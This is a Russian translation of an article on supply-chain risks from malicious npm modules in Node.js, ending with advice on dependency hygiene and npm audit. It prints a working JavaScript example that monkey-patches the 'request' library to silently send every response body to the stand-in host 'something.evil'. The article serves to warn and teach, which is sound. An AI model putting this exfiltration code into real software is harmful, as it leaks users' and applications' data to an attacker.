Чем опасны сторонние модули Node.js

Обложка поста

Перевод статьи «The Dangers of Malicious Modules»

Шорустам Шоумаров

Согласно недавно проведённому опросу от npm (менеджер пакетов, входящий в состав Node.js), выяснилось, что 77% респондентов озабочены безопасностью стороннего кода. Эта статья посвящена уязвимостям, которым подвергаются приложения, использующие готовые сторонние решения.

Стоит ли мне волноваться из-за сторонних модулей?

Возможно, вы даже думаете: а с чего мне вообще переживать по поводу сторонних модулей? Программисты — достаточно дружелюбный народ, с чего мне сомневаться в модулях, которыми делятся другие программисты? К тому же, если каждый пакет на npm является open source, должно быть, есть море людей, проверивших каждую строку кода, не так ли? Кстати, у меня всего-то несколько чужих модулей, насколько сторонним можно считать этот код?

Прежде чем разбираться в ответах, давайте ознакомимся со статьей «Я краду ваши пароли и номера кредиток. И я расскажу как». Это придуманная история от автора модуля на Node.js, выложенном на npm, — модуль может незаметно красть информацию о кредитных картах с веб-сайтов. В материале также описываются различные методы скрытия этих действий. Например, код никогда не исполняется, когда хостится на localhost; он никогда не активируется, когда открыта консоль разработки. На самом деле по времени он работает очень мало. Код, опубликованный на npm, скрыт и отличается от кода, который хостится публично на GitHub. Хотя история и выдуманная, но технически она вполне реализуема.

Есть ли случаи, когда это действительно проворачивают? На npm недавно опубликовали статью «Reported Malicious module: getcookies». Эта статья описывает реальный случай, когда модуль был опубликован и стал популярным, и в дальнейшем люди наследовали его в новых модулях. Этот коварный модуль срабатывает, когда получает предопределённый заголовок и затем исполняет JavaScript-код из запроса.

Зависимыми от модуля getcookies стали несколько других модулей, но в глобальном масштабе урон несущественен. Вы, вероятно, сейчас задумались, каким мог бы быть ущерб или насколько большую власть над экосистемой npm мог получить атаковавший. В статье «Gathering weak nmp credentials» исследователь в области безопасности описывает, как ему удалось получить параметры доступа (следовательно и права на публикацию) одного из пользователей npm, что означало контроль над 14 % экосистемы npm. Это стало возможным благодаря утечке параметров доступа, наряду с использованием брутфорса. Так как эти пакеты связаны с другими пакетами, исследователю удалось по цепочке повлиять на 54 % всей экосистемы npm! Исследователь опубликовал патч для каждого контролируемого им пакета, а затем при выполнении команды npm install пользователи выполнили и код самого исследователя.

Важно отметить, что даже авторы хороших пакетов могут стать жертвами попыток фишинга или утечки паролей. Как итог вышеупомянутого исследования, npm внедрила двухфакторную авторизацию (2FA) в свой сервис. Но несмотря на это, npm всё ещё не безопасна. Двухфакторная аутентификация опциональна, и не факт, что все авторы непременно будут ей пользоваться. И хотя 2FA намного надёжнее альтернатив, этот метод всё ещё остаётся уязвимым для фишинга.

Очевидно, что вероятность случайного возникновения уязвимости в модуле намного выше, чем если бы авторы модулей разрабатывали их целенаправленно. Исследователи нашли множество уязвимостей в модулях Node.js, которые, возможно, делают ваше приложение чуть более уязвимым. Мы только начинаем замечать исследования в этой области, и с увеличением числа экосистем и числа разработчиков на Node.js атаки, направленные на модули npm, становятся все более прибыльными.

Как часто вы используете сторонние модули?

Если бы вас спросили, какую часть кода в процентном соотношении составляет сторонний код, а какую — ваш, что бы вы ответили? Прямо сейчас, когда вам в голову пришли цифры, попробуйте задать следующую команду где-нибудь в вашем приложении. Эта команда считывает строки кода в вашем приложении и сравнивает их с кодом из директории node_modules:

$ npx @intrinsic/loc

Результат этой команды может вас немного удивить. Часто получается, что в проекте с тысячами строк кода, 50% и больше — сторонний код.

Насколько существенным может быть урон?

Вероятно, вы сейчас думаете, а насколько вообще это может быть опасно? Например, если ваше приложение зависит от модуля А, который в свою очередь зависит от модуля B, а тот зависит от модуля С, то каковы шансы, что мы реально передаём важную информацию на модуль С?

Коварному пакету совсем не важно, на какой позиции он находится в иерархии приоритетов, чтобы нанести ущерб, не имеет значения даже, передавал ли он важные данные. Единственное, что важно — это то, что модуль определён в require. Дальше вы можете видеть пример того, как коварный модуль может незаметным образом модифицировать require и какие последствия это будет иметь в контексте всего приложения:

{
 // Require the popular `request` module
 const request = require('request')
 // Monkey-patch so every request now runs our function
 const RequestOrig = request.Request
 request.Request = (options) => {
   const origCallback = options.callback
   // Any outbound request will be mirrored to something.evil
   options.callback = (err, httpResponse, body) => {
     const rawReq = require('http').request({
       hostname: 'something.evil',
       port: 8000,
       method: 'POST'
     })
     // Failed requests are silent
     rawReq.on('error', () => {})
     rawReq.write(JSON.stringify(body, null, 2))
     rawReq.end()
     // The original request is still made and handled
     origCallback.apply(this, arguments)
   }
   if (new.target) {
     return Reflect.construct(RequestOrig, [options])
   } else {
     return RequestOrig(options)
   }
 };
}

Если этот модуль добавить в блок required, он будет перехватывать все запросы, выполненные через библиотеку request, и отправлять ответы на сервер злоумышленника.

Теперь представьте, если бы мы изменили этот модуль и сделали его ещё хуже. Как пример, он может подменить модуль (monkey-patch) и создать временный модуль, который будет запускаться при каждом входящем запросе. Эти данные впоследствии могут быть запросто перенаправлены злоумышленнику.

Что же делать?

Существует несколько способов, с помощью которых мы можем защитить себя от этих коварных модулей. Первый — это чётко понимать цели и задачи модулей, установленных в каждом приложении. Вы всегда должны знать, от скольких модулей зависит ваше приложение. Если вам удаётся найти два модуля с одинаковыми функциями, отдавайте предпочтение тому, который имеет меньшее количество зависимостей. Меньше зависимостей — меньше шанс злонамеренных действий.

Некоторые большие компании проводят ручные ревизии каждого пакета и составляют белые списки модулей, которыми впоследствии разрешено пользоваться всем остальным в компании. Этот подход не очень практичный, учитывая огромное количество доступных пакетов на npm, а также число новых релизов.

Недавно npm выпустила модуль npm audit. Это инструмент, который сканирует ваши установленные модули и сравнивает их с чёрным списком модулей/версий с известными уязвимостями. Запуск npm install даже подскажет вам, подвержены ли ваши собственные модули известным уязвимостям. А запуская npm audit fix, вы получаете возможность заменить уязвимые пакеты более защищёнными версиями, если таковые существуют.

Хотя этот инструмент действительно мощный, это всего лишь начальный этап в борьбе против коварных модулей! Это реакционный подход: он полагается на то, что уязвимости известны и о них сообщают. Для него важно, что разработчики запускают команду на своих компьютерах, видят результат, а затем заново деплоят.

Часто проблемы можно находить с помощью команды npm audit для пакетов, на которые ещё не выпустили патчи (такие, как пакет stringstream, показанный на скриншоте). Например, если пакет А не получает частые обновления и зависит от уязвимого пакета B, а затем на него выкатывают патч с доработками, владелец приложения не может обновить версию пакета В, который зависит от пакета А. Другой недостаток состоит в том, что иногда аудит результатов выдаёт проблемы, решить которые не представляется возможным на данном этапе.

После прочтения этого текста вы, возможно, захотите и вовсе никогда не использовать сторонние модули. Разумеется, это нецелесообразно, потому что существует огромное количество рабочих модулей на npm, а попытки создать их с нуля потребуют слишком много сил. Большая экосистема модулей на npm и скорость, с которой можно строить готовые к запуску приложения, вызывают интерес разработчиков к Node.js.

Всегда будьте внимательны к модулям, которые используете, не забывайте о дереве своих зависимостей и модулях с большим количеством зависимостей. По возможности, чаще обновляйте свои модули. Это лучшее, что вы можете сделать, чтобы уберечь себя от коварных модулей.

Смотрите также: Node Hero — руководство по безопасности Node.js

Не смешно? А здесь смешно: @ithumor